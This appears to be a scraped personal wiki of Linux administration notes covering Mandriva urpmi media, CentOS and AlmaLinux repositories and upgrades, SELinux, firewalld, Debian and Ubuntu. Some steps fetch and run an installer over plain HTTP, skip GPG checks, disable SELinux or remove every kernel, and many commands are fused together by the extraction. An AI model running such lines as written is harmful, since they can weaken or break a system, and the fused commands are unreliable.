urpmi.addmedia locals file://home/username/rpm/RPMS/i586/- Development/Tasks/Packaging/BuildSystem/Quickstart
- Upgrade (to 2008.1)
- Make a backup: Linux update HOWTO
- update 2008.0:
urpmi --auto-update
- upgrade to 2008.1:
urpmi.removemedia -aurpmi.addmedia --distrib ftp://ftp.rediris.es/volumes/vol3/carroll.cac.psu.edu/mandrakelinux/official/2008.1/i586/ (other locations)urpmi.addmedia --distrib ftp://ftp.cica.es/mirrors/Linux/plf/mandriva/cfg/2008.1/i586/urpmi --auto --auto-select --replacefiles 2>&1 | tee upgrade_2008.1.log
- Boot from:
-
- Release
/etc/mandrakelinux-releaselsb_release -a
- Maquinari / Hardware
- Mageia
- Pulseaudio
problems
- Karmic
[9.10]
issues with volume control, Master/PCM/LFE, and
volume threshold
/usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common[Element Master]
switch = mute
volume = ignore
[Element PCM]
switch = mute
volume = merge
override-map.1 = all
override-map.2 = all-left,all-right
[Element LFE]
switch = mute
volume = ignore
- Volume too loud (Bug #410948 Ubuntu)
- Karmic
[9.10]
issues with volume control, Master/PCM/LFE, and
volume threshold
- HP Proliant ML330
- Mandriva 2010.0
- Enable software RAID? No.
- Mandriva 2010.0
- BlogDrake (es)
- Distrowatch: Mandriva Linux (taules amb versions de programari)
- Mandriva 2007 (*)
- Mandriva 2006
- Mandriva 2005 Limited Edition (MDK 10.2)
- Cooker
urpmi.addmedia --distrib ftp://ftp.ciril.fr/pub/linux/mandrivalinux/devel/cooker/i586/urpmi.addmedia --distrib ftp://ftp.cica.es/mirrors/Linux/plf/mandriva/cfg/cooker/i586/
- MDV 2010.2 (or use Easy
Urpmi)
urpmi.addmedia --distrib ftp://ftp.rediris.es/mirror/mandriva/2010.2/i586/urpmi.addmedia --distrib ftp://ftp.ciril.fr/pub/linux/mandrivalinux/official/2010.2/i586urpmi.addmedia --distrib ftp://ftp.cica.es/mirrors/Linux/plf/mandriva/cfg/2010.2/i586/-
urpmi.addmedia --distrib --mirrorlist http://urpmi.mandriva.ru/lists/ru/mib.2010.2.i586.list
- MDV 2010.2 SRPMS
urpmi.addmedia main_release_src ftp://ftp.rediris.es/mirror/mandriva/2010.2/SRPMS/main/release/ with media_info/synthesis.hdlist.czurpmi.addmedia main_updates_src ftp://ftp.rediris.es/mirror/mandriva/2010.2/SRPMS/main/updates/ with media_info/synthesis.hdlist.czurpmi.addmedia main_backports_src ftp://ftp.rediris.es/mirror/mandriva/2010.2/SRPMS/main/backports/ with media_info/synthesis.hdlist.czurpmi.addmedia contrib_release_src ftp://ftp.rediris.es/mirror/mandriva/2010.2/SRPMS/contrib/release/ with media_info/synthesis.hdlist.czurpmi.addmedia contrib_updates_src ftp://ftp.rediris.es/mirror/mandriva/2010.2/SRPMS/contrib/updates/ with media_info/synthesis.hdlist.czurpmi.addmedia contrib_backports_src ftp://ftp.rediris.es/mirror/mandriva/2010.2/SRPMS/contrib/backports/ with media_info/synthesis.hdlist.cz
- MDK 10.1
- MDK 10.1 Twiki
- mandrivalinux 10.1 - Errata
- mandrivalinux 10.1 Alpha 1 released!
- 10.1 Community - Download packages list
- mandrivalinux 10.1 RC1 review slideshow (linuxbeta.com)
- Ratolí/mouse
- synaptics (simple: tap) + PS2 (no wheel): psmouse.proto=imps
- synaptics (mousedrake) + USB (wheel): 6601
- MDK 10.0
- MDK 10.0 Twiki
- mandrivalinux 10.0 - Errata
- mandrivalinux 10.0 Présentation & Fonctionnalités
- Development bugs
- mkinitrd, dc395x_trm:7233 (ldetect-lst), 8814, 8951 (update-ldetect-lst)
- synaptics: 6601, 7692, 7133 (ps2), 7411, 9486, mouse problems, active multiplexing support for PS2 mouse
- pcmcia/aic7xxx: 8450, pcmcia-cs bugs (aic7xxx cable, scsi hot swap), config.opts
- pcmcia/serial_cs: add yenta_socket to /etc/modprobe.preload
- hotplug: 2004-03-29-1mdk (usb mouse not working)
- k3b/cdrecord/scsi: 6694, 8206, 8353, 8893, 9024
- magicdev/cdrecord/cdrdao: 8705
- dvb: 5174
- usb-pendrive: 7058, 7182, 8717, echo "SUPERMOUNT=no" > /etc/sysconfig/dynamic
- arts: 10015
- xorg & radeon aiw7500: xorg-x11 > 6.7.99.2 (svetljo)
- eth0, eth1 (eth1394): 9828
- MDK 9.2
- MDK 9.1
- Boot
- Bugs
- Cooker
- CVS
Mandriva, SVN
Mandriva (Development/Howto/CVS,
Development/Howto/Subversion)
- packages (empaquetadors / packagers)
- soft (cvs)
-
- ldetect-lst
-
- lst
- dmitable (notebooks resolutions)
- rpmdrake
- gi
-
- perl-install
-
- standalone
(XFdrake)
- XFdrake
- drakbackup
- ...
- Xconfig (svn)
- standalone
(XFdrake)
- i18n
/usr/share/locale/ca/LC_MESSAGES/drakconf.mo
- Repository System
- DrakXTools
- mandrivalinux drakxtools (twiki)
- New Generation DrakXTools (drakxtools-ng)
- FTP mandrivalinux
- How to create a Mandrake Installer
- Kernel
- Choosing a kernel (Mandriva Wiki)
- kernel-tmb (mdv cooker)
(contrib backports)
- multimedia
kernel (uses ck
patches)
- realtime
capabilities
README (URPMI)
/etc/modprobe.preload/etc/modprobe.conf
- realtime
capabilities
README (URPMI)
- multimedia
kernel (uses ck
patches)
- sds (svetlio uk), cz (changelog)
- Kernel Parameters Problems (Mdk HardwareHowTo): dmidecode
- dep:
- libc-5
compatibility (asWedit,...)
- ld.so1
- libc-base
- libc-extras
- després caldrà executar
ldconfig
- Mailing lists (archives)
- Mandrake Club
- Mandrake Forum
- Mandrake Linux Documentation (local)
- Mandrake secure
- Mandrake User
- MandrakeUsers.org
- The Mandrake Community Twiki
- Maquinari /
Hardware
- Mandriva Linux Community Hardware Compatibility List
- ldetect-lst / ldetect (lspcidrake)
-
- Cards+
- MonitorsDB
- ScannerDB
- dmitable
- isatable
- pcitable
- pcmciatable
- usbtable
- pciutils (pci.ids)
- How to Configure your Hardware in Mandrake Linux (Twiki Howto)
- mandrivalinux Hardware
-
proc url rpm file used by app rpm pci /proc/bus/pci/devices Linux PCI ID pciids /usr/share/pci.ids lspcidrake ldetect usb /proc/bus/usb/devices linux-usb.org usbutils /usr/share/usb.ids lsusb usbutils Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- RPMS
- urpmi
(gestió de
paquets / package management)
- Urpmi (Mageia wiki)
- All sources:
urpmi.addmedia --distrib --mirrorlist
urpmi.addmedia --distrib --mirrorlist http://api.mandriva.com/mirrors/basic.2010.0.i586.list
- Notes d'instal·lació / Post-install notes:
/usr/share/doc/*/*urpmi
- Orfes / Orphans
- Easy Urpmi (includes MiB)
- Easy urpmi config for Mandrake
- URPMI (Mandriva wiki)
- Software Media Policy
- Penguin
Liberation Front (PLF)
urpmi.addmedia --distrib --mirrorlist http://plf.zarb.org/mirrors/2010.0.i586.list
- Mounted ISO image:
mkdir /mnt/iso
mount -t iso9660 -o ro,loop /tmp/mandriva.iso /mnt/isourpmi.addmedia --distrib file://mnt/iso/i586/
- Parallel
urpmi
- slave (slave_name_1)
- /etc/ssh/sshd_config
- PermitRootLogin yes
- use sudo instead (Shh!
OpenSSH
Secrets Here):
- PermitRootLogin no
- service sshd restart
- /etc/ssh/sshd_config
- master
- urpmi --parallel - using urpmi accross multiple computers
- Configuration
urpmi urpmi-parallel-ssh- [setup ssh]
/etc/urpmi/parallel.cfggrup_local:ssh:slave_name_1:slave_name_2:...
- Usage
urpmi --parallel grup_localpackage_name
- slave (slave_name_1)
- urpmi cica 2008.0:
- urpmi.addmedia cica_main ftp://ftp.cica.es/Mandrake/2008.0/i586/media/main/release with media_info/hdlist.cz
- (urpmi.addmedia --update cica_main_updates ftp://ftp.cica.es/Mandrake/2008.0/i586/media/main/updates with media_info/hdlist.cz)
- urpmi.addmedia cica_main_backports ftp://ftp.cica.es/Mandrake/2008.0/i586/media/main/backports with media_info/hdlist.cz
- urpmi.addmedia cica_contrib ftp://ftp.cica.es/Mandrake/2008.0/i586/media/contrib/release with media_info/hdlist.cz
- urpmi.addmedia cica_contrib_backports ftp://ftp.cica.es/Mandrake/2008.0/i586/media/contrib/backports with media_info/hdlist.cz
- urpmi.addmedia cica_non-free ftp://ftp.cica.es/Mandrake/2008.0/i586/media/non-free/release with media_info/hdlist.cz
- urpmi.addmedia cica_non-free_backports ftp://ftp.cica.es/Mandrake/2008.0/i586/media/non-free/backports with media_info/hdlist.cz
- urpmi.addmedia --update cica_plf-free ftp://ftp.cica.es/mirrors/Linux/plf/mandriva/2008.0/free/release/binary/i586/ with media_info/hdlist.cz
- urpmi.addmedia cica_plf-free_backports ftp://ftp.cica.es/mirrors/Linux/plf/mandriva/2008.0/free/backports/binary/i586/ with media_info/hdlist.cz
- urpmi.addmedia --update cica_plf-nonfree ftp://ftp.cica.es/mirrors/Linux/plf/mandriva/2008.0/non-free/release/binary/i586/ with media_info/hdlist.cz
- urpmi.addmedia cica_plf-nonfree_backports ftp://ftp.cica.es/mirrors/Linux/plf/mandriva/2008.0/non-free/backports/binary/i586/ with media_info/hdlist.cz
- smart-urpmi
- Add contrib/plf additional sources to mdk 9.0
- noclearcache
- Difference hdlist & synthesis.hdlist
- exemple_urpmi_addmedia.txt
- urpmi sites
- Mandriva Enhanced RPMS (Thac and Zé)
- eslrahc: 9.2, cooker, SRPMS
- MIB
- FTP
official devel plf club
iso updates contrib
cooker
rediris.es (ftp/ http/ search/ carroll) 9.0, 9.1, 9.2, 10.0 10.1 2005 x 9.1, 9.2, 10.0 9.0, 9.1, 9.2, 10.0 10.1 10.1 2005
Onemain, contrib, jpackage
caliu ftp 9.1
cica.es 10.0
10.0, 10.1 main, contrib, jpackage 9.1, 9.2, 10.0, 10.1,
2006x Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Release
- Red
Hat
- links
- support
- hardware compatibility
- package
management
- yum
(gestió de paquets /
package management)
yum install package_name- force not upgrade of obsolete package
sudo yum --setopt=obsoletes=0 install obsoleted-package
yum search somethingyum grouplistyum groupinfo group-nameyum provides /usr/sbin/semanage
- yum
(gestió de paquets /
package management)
- Fedora
- Rocky Linux
- by Gregory Kurtzer,, co-creator of CentOS
- replacement for CentOS 8
- Info
- ...
- Alma Linux
- by CloudLinux
- 1:1 replacement for CentOS 8
- code name: Lenix
- Info
- Wiki
- Github
- Migration CentOS 8 -> Alma Linux
- Upgrade 8.8 -> 8.9
Import of key(s) didn't help, wrong key(s)?
[...]
Error: GPG check FAILED- Solució
- yum
update error Error: GPG check FAILED
rpm --import https://repo.almalinux.org/almalinux/RPM-GPG-KEY-AlmaLinux
- yum
update error Error: GPG check FAILED
- Solució
- ...
- CentOS
(based on RedHat Enterprise, RHEL)
- CentOS 7 EOL
- 30th June 2024
- repos
- IMPORTANT: See replacements:
- Comparison (from AlmaLinux)
- Alma Linux
- Rocky Linux
- Red Hat Enterprise Linux Deployment Guide (5) (centos.org)
- package
management
- yum
- Additional
Resources
/ Repositories
- CentALT
- readme.txt (how to add this repository)
- Extra Packages for Enterprise Linux (EPEL)
- Steps to setup:
wget http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm- [
wget http://dl.fedoraproject.org/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm] # rpm -Uvh epel-release*rpmyum install <epel_package>
- Ghettoforge
- Steps to setup:
sudo yum install http://mirror.ghettoforge.org/distributions/gf/gf-release-latest.gf.el7.noarch.rpm
- Available packages:
yum --enablerepo=gf-plus install git- ...
- Steps to setup:
- CentALT
- Problemes / Problems
One of the configured repositories failed
...
Cannot retrieve metalink for repository: epel/x86_64. Please verify its path and try again- yum error “Cannot retrieve metalink for repository: epel. Please verify its path and try again” updating ContextBroker
- Solució / Solution
sudo yum -y update --disablerepo=epel
sudo yum install epel-release
- Additional repositories (
dnf repolist, yum repolist)- CentOS repositories
- Exemples / Examples:
repo
installation /etc/yum.repos.d/ packages EPEL - CentOS/Alma 8
dnf install epel-release- optionally, on CentOS 8:
dnf config-manager --enable epel-testing
- optionally, on CentOS 8:
- CentOS 7
yum install epel-release
- epel.repo
- [epel]
- [epel-debuginfo]
- [epel-source]
- epel-testing.repo
- [epel-testing]
- [epel-testing-debuginfo]
- [epel-testing-source]
CRB - Alma 9
dnf config-manager --enable crb
Power Tools
(CentOS 8)- CentOS/Alma 8
dnf config-manager --enable powertools
PostgreSQL (*) - CentOS/Alma 8
- Yum Howto
- disable OS PostgreSQL module
-
dnf -qy module disable postgresql dnf install https://download.postgresql.org/pub/repos/yum/reporpms/EL-8-x86_64/pgdg-redhat-repo-latest.noarch.rpm- Only client (psql)
dnf install postgresql16- How
to install PostgreSQL 12 server on
Centos 8
dnf module list postgresql | grep 12- dnf install @postgresql:12
- How To Install PostgreSQL 12 on CentOS 7 / CentOS 8
- postgis
- CentOS 7
yum install https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm
- pgdg-redhat-all.repo
- [pgdg-common]
- [pgdg13]
- [pgdg12]
- [pgdg11]
- [pgdg10]
- [pgdg96]
- [pgdg95]
- ...
nginx manually create /etc/yum.repos.d/nginx.repo:
[nginx-stable]
name=nginx stable repo
baseurl=http://nginx.org/packages/centos/$releasever/$basearch/
gpgcheck=1
enabled=1
gpgkey=https://nginx.org/keys/nginx_signing.key
module_hotfixes=true
- nginx.repo
- [nginx-stable]
RPM Fusion - sudo dnf install --nogpgcheck https://mirrors.rpmfusion.org/free/el/rpmfusion-free-release-8.noarch.rpm https://mirrors.rpmfusion.org/nonfree/el/rpmfusion-nonfree-release-8.noarch.rpm
GhettoForge - CentOS/Alma 8
dnf install https://mirror.ghettoforge.org/distributions/gf/gf-release-latest.gf.el8.noarch.rpmdnf config-manager --enable gf-testing # e.g. for uwgsi
- CentOS 7
yum install http://mirror.ghettoforge.org/distributions/gf/gf-release-latest.gf.el7.noarch.rpm
Raven (install) - CentOS/Alma 8
dnf install https://pkgs.dyn.su/el8/base/x86_64/raven-release-1.0-3.el8.noarch.rpm
- graphene
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- CentOS/Alma 8
- Update
sudo yum update- Problemes / Problems
...rpm FAILED ...
http://...rpm [Errno 14] HTTP Error 404 - Not Found- Solució / Solution
sudo yum clean metadatasudo yum update
- Solució / Solution
- CentOS 8
- Discontinuation by RedHat (announced on Dec 2020)
- move from Centos8 (fixed-release model) to CentOS Stream (rolling-release)
- Info
- Alternatives
- Info
- Drop-in
- Alma Linux (code name: Lenix) (by CloudLinux)
- Rocky Linux (by Gregory Kurtzer,, co-creator of CentOS)
- CentOS 8 repositories
- CentOS 8 on Virtualbox
- Problemes / Problems
- wrong ASCII screen
- CentOS 8 in VirtualBox
- Solució / Solution
- do not use VBoxSVGA driver
- use VMSVGA driver
hpet1: lost xxx rtc interrupts- ...
- Solució / Solution
- ...
- wrong ASCII screen
- Problemes / Problems
- Migration from CentOS 7
- Migration Guide (centos.org wiki)
- Upgrading from CentOS 7 to 8
-
steps (merged from several instructions) Upgrading from CentOS 7 to 8 (Hostwinds) How to upgrade CentOS 7 to CentOS 8 Server (CentLinux) How to Upgrade CentOS 7 to CentOS 8 (Tecmint) Update CentOS 7:
yum update -y
yum install -y epel-releaseyum makecache fast
Cleaning up CentOS 7
- yum update -y
- yum install -y epel-release
Installing EPEL yum Repository on CentOS 7
- yum install -y epel-release.noarch
- yum makecache fast
1. Install the EPEL repository
- yum install epel-release -y
Install utils:
yum install -y yum-utils rpmconf
rpmconf -apackage-cleanup --leavespackage-cleanup --orphans- remove packages listed by
package-cleanup above:
yum remove -y ...
- yum install -y yum-utils rpmconf
- rpmconf -a
- package-cleanup --leaves
- package-cleanup --orphans
Installing Required Packages on CentOS 7
- yum install -y yum-utils rpmconf
- rpmconf -a
- package-cleanup --leaves
- package-cleanup --orphans
2. Install yum-utils tools
- yum install yum-utils
Replace old yum by new dnf package manager:
yum install -y dnfdnf remove -y yum yum-metadata-parserrm -Rf /etc/yumdnf makecache
Replacing packages
- yum install -y dnf
- dnf -y remove yum yum-metadata-parser
- rm -Rf /etc/yum
Upgrade the Package Manager from YUM to DNF
- yum install -y dnf
- dnf remove -y yum yum-metadata-parser
- rm -Rf /etc/yum
- dnf makecache
3. Install the dnf in CentOS 7
- yum install dnf
- dnf -y remove yum yum-metadata-parser
- rm -Rf /etc/yum
Update CentOS 7 packages with dnf:
dnf upgrade -y
dnf upgrade -y http://mirror.centos.org/centos/8/BaseOS/x86_64/os/Packages/{centos-release-8.2-2.2004.0.2.el8.x86_64.rpm,centos-gpg-keys-8.2-2.2004.0.2.el8.noarch.rpm,centos-repos-8.2-2.2004.0.2.el8.x86_64.rpm}dnf upgrade -y epel-releasednf makecache
- dnf upgrade -y
Upgrading CentOS 7 server to Latest Stable Version
- dnf upgrade -y
- dnf upgrade -y http://mirror.centos.org/centos/8/BaseOS/x86_64/os/Packages/{centos-release-8.1-1.1911.0.8.el8.x86_64.rpm,centos-gpg-keys-8.1-1.1911.0.8.el8.noarch.rpm,centos-repos-8.1-1.1911.0.8.el8.x86_64.rpm}
- dnf upgrade -y epel-release
- dnf makecache
4. Upgrading CentOS 7 to CentOS 8
- dnf upgrade
- dnf install http://mirror.centos.org/centos/8/BaseOS/x86_64/os/Packages/centos-repos-8.2-2.2004.0.1.el8.x86_64.rpm http://mirror.centos.org/centos/8/BaseOS/x86_64/os/Packages/centos-release-8.2-2.2004.0.1.el8.x86_64.rpm http://mirror.centos.org/centos/8/BaseOS/x86_64/os/Packages/centos-gpg-keys-8.2-2.2004.0.1.el8.noarch.rpm
- dnf -y upgrade https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
Remove old kernel and install new kernel and release:
rpm -e `rpm -q kernel`rpm -e --nodeps sysvinit-toolsdnf -y --releasever=8 --allowerasing --setopt=deltarpm=false distro-sync- Problemes
- el paquet (gcc >= 8 with
gcc < 9) és requerit per
annobin-8.90-1.el8.0.1.x86_64
- Centos8 dnf update transaction check error
- Solució / Solution
dnf install gdbm gdbm-libs --best --allowerasing
wget http://mirror.centos.org/centos/8/BaseOS/x86_64/os/Packages/{gdbm-1.18-1.el8.x86_64.rpm,gdbm-libs-1.18-1.el8.x86_64.rpm}- rpm
--nodeps -e
gdbm-1.10-8.el7.x86_64
- rpm --nodeps -i gdbm-1.18-1.el8.x86_64.rpm gdbm-libs-1.18-1.el8.x86_64.rpm
- dnf install ncurses-libs --best --allowerasing
- wget http://mirror.centos.org/centos/8/BaseOS/x86_64/os/Packages/readline-7.0-10.el8.x86_64.rpm
- rpm --nodeps -e readline
- rpm -i readline-7.0-10.el8.x86_64.rpm
- ... libncurses
libreadline libtinfo
rpm --rebuilddb- rpm -Va --nofiles --nodigest
- dnf clean packages
- dnf remove python36-rpmconf python3-pip
- dnf upgrade --exclude=redhat-rpm-config --best --allowerasing
- ...
dnf -y --releasever=8 --allowerasing --setopt=deltarpm=false distro-sync
- el paquet (annobin if gcc) és requerit per redhat-rpm-config-122-1.el8.noarch
- el paquet rpmlib(RichDependencies) <= 4.12.0-1 és requerit per redhat-rpm-config-122-1.el8.noarch
- el paquet (gcc >= 8 with
gcc < 9) és requerit per
annobin-8.90-1.el8.0.1.x86_64
- Problemes
dnf -y install kernel-corednf -y groupupdate "Core" "Minimal Install"
Install the new kernel and release
- rpm -e `rpm -q kernel`
- rpm -e --nodeps sysvinit-tools
- dnf -y --releasever=8 --allowerasing --setopt=deltarpm=false distro-sync
- dnf -y install kernel-core
- dnf -y groupupdate "Core" "Minimal Install"
Upgrading CentOS 7 to CentOS 8 Server
- rpm -e `rpm -q kernel`
- rpm -e --nodeps sysvinit-tools
- dnf -y --releasever=8 --allowerasing --setopt=deltarpm=false distro-sync
- dnf install -y kernel-core
- dnf -y groupupdate "Core" "Minimal Install"
5. Install the new kernel core for CentOS 8
- dnf -y install kernel-core
- dnf -y groupupdate "Core" "Minimal Install"
Verify release:
cat /etc/os-releasecat /etc/redhat-release
- cat /etc/os-release
- cat /etc/redhat-release
- cat /etc/redhat-release
Reboot
systemctl reboot
- systemctl reboot
- uname -r
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Downgrade to CentOS 7:
- dnf install http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-8.2003.0.el7.centos.x86_64.rpm --allowerasing
- Discontinuation by RedHat (announced on Dec 2020)
- Boot
- Detallat / Detailed
ESC
- Problemes / Problems
- Failed to load SELinux policy, freezing
- Failed to Load SELinux Policy
- Failed to load SELinux Policy Freezing
- Solució / Solution
- press "e" at boot screen
- modify line that starts with linux16 and
add "
selinux=0" (on Spanish keyboard, equal sign is at ¡ key) - CTRL+x to boot
sudo yum install -y selinux-policy-targetedsudo yum reinstall -y selinux-policy-targeted- (?) $
sudo semodule -i /etc/nginx/nginx.pp
libsemanage.semanage_direct_get_module_info: Unable to read nginx module lang ext file. sudo touch /.autorelabelsudo reboot- next boot will take some time
- Failed to load SELinux policy, freezing
- Detallat / Detailed
- Xarxa / Network
ip aroutel
- text console (no X11) size (e.g. 1024x768):
- /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="vga=0x0305"
cp -a /boot/grub2/grub.cfg{,.orig}
grub2-mkconfig -o /boot/grub2/grub.cfg
reboot
- /etc/default/grub
- install network
after minimal installation
- How to setup network after RHEL/CentOS 7 minimal installation
nmcli dnmtui- Problemes
- El NetworkManager
no s'està executant
sudo systemctl status NetworkManager.servicesudo systemctl start NetworkManager.service- sudo NetworkManager --no-daemon
- sudo NetworkManager --print-config
- El NetworkManager
no s'està executant
- to make it permanent:
- /etc/sysconfig/network-scripts/ifcfg-eth0
ONBOOT=yes
- /etc/sysconfig/network-scripts/ifcfg-eth0
- install x11 after minimal installation
yum install gnome-desktop xorg-x11-fonts-Type1
- installation of Python
- installation of Apache
- Chapter 21. Apache HTTP Server
- mod_wsgi
- si el virtualenv està dins de la zona d'un usuari, no funciona: could not load django...
- Django:
Combinació que funciona / Combination that works:
- httpd from distribution (CentOS 6)
- python 26 from distribution + virtualenv:
- virtualenv to /opt/PYTHON26 (if in /home/.../PYTHON26, it does not work)
- mod_wsgi from distribution (compiled with python2.6)
- SELinux:
- allow
port for Apache (e.g. 8888) if is not in
the list given by:
semanage port -l | grep -w http_port_t - give permissions to /opt/PYTHON26
- allow Apache to connect other servers (e.g.
APNS push notifications server) (to avoid:
"[Errno 13] Permission denied"):
setsebool -P httpd_can_network_connect 1
- allow
port for Apache (e.g. 8888) if is not in
the list given by:
- Problema:
- les directives que contenen
${APACHE_LOG_DIR}fan que l'Apache no arrenqui Permission denied: make_sock: could not bind to address 0.0.0.0:8888- Solució / Solution:
ImproperlyConfigured: Error loading MySQLdb module: /opt/PYTHON26/lib/python2.6/site_packages/_mysq.so: failed to map segment from shared object: Permission denied- Solució / Solution:
chcon -R -h -t httpd_sys_content_t /opt/PYTHON26
- Solució / Solution:
- les directives que contenen
- SELinux
- Alma 8 / CentOS 8
dnf install policycoreutils-python-utils
yum install policycoreutils-python (*)
- Alma 8 / CentOS 8
- tallafoc
/ firewall
- firewalld
systemctl status firewalld.service- add http, https services:
sudo systemctl start firewalld.service
sudo firewall-cmd --permanent --zone=public --add-service=http
sudo firewall-cmd --permanent --zone=public --add-service=https
sudo firewall-cmd --reload
- add 8080 port (e.g. for http)
sudo systemctl start firewalld.service
sudo firewall-cmd --permanent --zone=public --add-port=8080/tcp
sudo firewall-cmd --reload- alternatively
- /usr/lib/firewalld/services/http-444.xml
(root.root 640)
<?xml version="1.0" encoding="utf-8"?>
<service>
<short>WWW (HTTPS on port 444)</short>
<description>HTTPS is a modified HTTP used to serve Web pages when security is important. Examples are sites that require logins like stores or web mail. This option is not required for viewing pages locally or developing Web pages. You need the httpd package installed for this option to be useful.</description>
<port protocol="tcp" port="444"/>
</service>
sudo firewall-cmd --permanent --zone=public --add-service=https-444- NOTE: if
https-444.xml is uploaded (e.g. using Python Fabric)
and SELinux
is used, additional steps are needed (to
avoid
Error: INVALID_SERVICE: https-444):- fabfile.py
put('httpd/https-444.xml', '/usr/lib/firewalld/services/https-444.xml', mode=int('640', 8), use_sudo=True)
env.sudo('chown root.root /usr/lib/firewalld/services/https-444.xml')
# restore SELinux labels
env.sudo('restorecon -v /usr/lib/firewalld/services/https-444.xml')
env.sudo('firewall-cmd --reload')
env.sudo('firewall-cmd --permanent --zone=public --add-service=https-444')
- fabfile.py
- /usr/lib/firewalld/services/http-444.xml
(root.root 640)
- debug
- /etc/sysconfig/firewalld
FIREWALLD_ARGS=--debug=10
tail -f /var/log/firewalld
- /etc/sysconfig/firewalld
- firewall-cmd
firewall-cmd --statefirewall-cmd --list-allfirewall-cmd --list-all-zonesfirewall-cmd --get-zonesfirewall-cmd --get-servicesfirewall-cmd --get-default-zonefirewall-cmd --change-interface=eth0 --zone=public
- interactive
yum install system-config-firewall-tuisystem-config-firewall-tui- will modify
/etc/sysconfig/system-config-firewall--port=8000:tcp
- will modify
- NFS
- firewalld
- Debian
- Debian Pure Blends
- Variants
- Raspbian (Raspberry Pi)
- FreedomBox (plug computer) (wp)
- Instal·lació des de llapis
de memòria USB / Install from USB (Preparació
dels
fitxers per arrencar amb el llapis de memòria USB)
mètode dir origen còpia de fitxers syslinux debian installer imatge CD
carregador config file origen command
xarxa netboot flexible - fdisk /dev/sdX
- create a single FAT partition
- mkdosfs /dev/sdX1
- syslinux /dev/sdX1
- mkdir /media/Debian_Inst
- mount /dev/sdX1 /media/Debian_Inst
- syslinux.cfg
- default vmlinuz
- append initrd=initrd.gz vga=788
- cp syslinux.cfg /media/Debian_Inst
debian-installer - mount /dev/sdX1 /media/Debian_Inst
- cp debian-installer/i386/linux /media/Debian_Inst
- cp debian-installer/i386/initrd.gz /media/Debian_Inst
- imatge de CD hd-media hd-media - mount /dev/sdX /media/Debian_Inst
- one of the following:
- cp iso-cd/debian-6.0.5-i386-xxx.iso /media/Debian_Inst
- cp iso-cd/debian-6.0.5-i386-businesscard.iso /media/Debian_Inst
- cp iso-cd/debian-6.0.5-i386-netinst.iso /media/Debian_Inst
fàcil (partició de 256MB) zcat hd-media/boot.img.gz > /dev/sdX - mount /dev/sdX /media/Debian_Inst
- one of the following:
- cp iso-cd/debian-6.0.5-i386-businesscard.iso /media/Debian_Inst
- cp iso-cd/debian-6.0.5-i386-netinst.iso /media/Debian_Inst
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- fdisk /dev/sdX
- Gestió
de paquets / Package management
- Advanced Package Tool - APT
- Debian Linux apt-get package management cheat sheet
- Difference Between apt and apt-get Explained
- apt
sudo apt-get install ...sudo apt-get ...sudo apt-cache ...- Instal·lació forçada:
aptitude -d install totocd /var/cache/apt/archives/dpkg --force-depends -i toto.deb
- Unattended
Upgrades
- Disable
- Option 1: disable service
sudo systemctl disable unattended-upgrades
- Option 2: remove package and its configuration
sudo DEBIAN_FRONTEND=noninteractive apt-get -y purge unattended-upgrades
- Option 3: remove package
-
sudo apt remove unattended-upgrades
-
- Option 1: disable service
- Disable
- Advanced Package Tool - APT
- Configuració de paquets
- set config
sudo dpkg-reconfigure nom_paquet
- get config
sudo debconf-show nom_paquet
- set config
- Línia de comandes / Command line
- X11 Nvidia
drivers
- Nvidia Graphics Drivers
- /etc/apt/source.list
- deb http://... squeeze main contrib non-free
- Remote X11 display with sudo:
- Info
- Solution
user1@machine_name:~$ xauth listmachine_name/unix:10 MIT-MAGIC-COOKIE-1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
user1@machine_name:~$sudo -iroot@machine_name:~# xauth add machine_name/unix:10 MIT-MAGIC-COOKIE-1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxroot@machine_name:~#xclock
- Linex
- Ubuntu Linux
-
- Descàrrega / Download
- Instal·lació / Installation
- Installation (Ubuntu documentation) (from other Linux partition,...)
- Installation
From
USB Stick
(usb-creator-{kde,gtk})
- From Mageia:
- install mkusb
wget http://phillw.net/isos/linux-tools/mkusb/mkusb-installerchmod +x mkusb-installer./mkusb-installer
- run mkusb
mkusb
- install mkusb
- From Mageia:
- USB Installation Media (unetbootin)
- Gestió de paquets / Package management
- Unity
- Start a terminal / console:
- CTRL + ALT + t
- Gnome classical (14.10)
sudo apt-get install ubuntu-gnome-desktop ubuntu-gnome-default-settings- At start:
- Gnome Classical
- How
To
Get A Complete GNOME 3 Desktop In Ubuntu 12.10,
Without Installing Ubuntu GNOME Remix
sudo apt-get install ubuntu-gnome-desktop ubuntu-gnome-default-settingssudo dpkg-reconfigure gdmsudo apt-get remove ubuntu-settings- optional
sudo apt-get install gnome-documents gnome-boxessudo add-apt-repository ppa:gnome3-team/gnome3sudo apt-get remove overlay-scrollbar*
- Problemes / Problems
- No window borders in
12.10 clean install
sudo apt-get install -y compizconfig-settings-manager && ccsm
- Install Gnome in Ubuntu 11.10 (Oneiric Ocelot)
- Start a terminal / console:
- GRUB
- Re: Mandriva 2010 and Ubuntu 10.10 dual boot
- GRUB
(Guía Ubuntu)
sudo update-grub2
- Recovering
Ubuntu
After Installing Windows
sudo grub-install --boot-directory=/boot /dev/sda
- Modify Grub options in Ubuntu:
/etc/default/grubupdate-grub
- Teclat / Keyboard (Lubuntu)
- gksudo leafpad /etc/default/keyboard
XKBMODEL="pc105"
XKBLAYOUT="es"
XKBVARIANT=""
XKBOPTIONS=""
- gksudo leafpad /etc/default/keyboard
- Tallafoc / Firewall
- Derivades / Derivatives
- Five
Brilliant Ubuntu-based Distros You Never Knew Existed
- wattOS
- Five Ubuntu Features You Didn't Know About
- Línia de comandes / Command line
- Problemes / Problems
- la instal·lació de libsdl2-dev trenca tota la
instal·lació
- libsdl2-dev screws over my Ubuntu 22.04 installation
- Solució / Solution
